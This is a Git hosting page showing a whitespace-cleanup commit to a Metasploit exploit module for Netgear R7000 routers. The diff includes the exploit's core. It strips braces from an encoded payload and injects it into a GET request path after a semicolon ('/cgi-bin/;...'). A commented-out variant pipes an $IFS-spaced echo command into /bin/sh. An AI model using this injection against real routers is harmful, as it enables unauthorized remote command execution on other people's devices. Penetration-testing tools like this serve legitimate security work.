infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Msftidy stuff

bug/bundler_fix
Carter 2017-02-18 00:34:49 -05:00 committed by GitHub
parent 189d5dc005
commit e99ba0ea86
1 changed files with 7 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb
View File

@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
{ {
'Space' => 1024, 'Space' => 1024,
'DisableNops' => true, 'DisableNops' => true,
'BadChars' => "\x20" 'BadChars' => "\x20"
} }
)) ))
@ -80,20 +80,20 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit def exploit
check check
pe = payload.encoded pe = payload.encoded
pe.to_s pe.to_s
pe.gsub!('{','') pe.gsub!('{','')
pe.gsub!('}','') pe.gsub!('}','')
#cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join #cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
#str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&" #str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&"
print_status('Sending encoded command...') print_status('Sending encoded command...')
vprint_status("Encoded command: #{pe}") vprint_status("Encoded command: #{pe}")
send_request_cgi({ send_request_cgi({
'uri' => "/cgi-bin/;#{pe}", 'uri' => "/cgi-bin/;#{pe}",
'method' => 'GET' 'method' => 'GET'
}) })
print_status('Giving the handler time to run...') print_status('Giving the handler time to run...')